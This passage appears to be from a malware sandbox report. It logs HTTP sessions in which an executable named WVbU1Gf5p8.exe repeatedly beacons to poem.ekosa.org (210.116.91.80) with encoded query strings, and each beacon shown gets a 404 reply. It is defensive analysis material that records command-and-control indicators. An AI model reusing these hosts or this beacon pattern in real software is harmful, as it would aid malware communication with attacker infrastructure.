Jan 11, 2021 17:55:38.658394098 CET	552	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:37 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.4	49840	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:39.049812078 CET	553	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:39.309412956 CET	553	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:39 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.4	49841	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:39.579063892 CET	554	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:39.839138985 CET	555	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:39 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.4	49842	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:40.108448029 CET	556	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:40.369780064 CET	566	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:40 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.4	49845	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:40.754378080 CET	576	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:41.013569117 CET	577	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:40 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.4	49846	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:41.293981075 CET	578	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:41.566473007 CET	578	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:41 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.4	49847	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:41.845242977 CET	579	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:42.114115953 CET	580	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:41 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.4	49848	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:42.500201941 CET	581	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:42.760907888 CET	581	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:42 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.4	49849	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:43.033344984 CET	582	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:43.296571016 CET	582	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:42 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49768	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:01.223732948 CET	133	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:01.488401890 CET	137	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:01 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.4	49850	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:43.566813946 CET	583	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:43.826807022 CET	584	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:43 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.4	49851	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
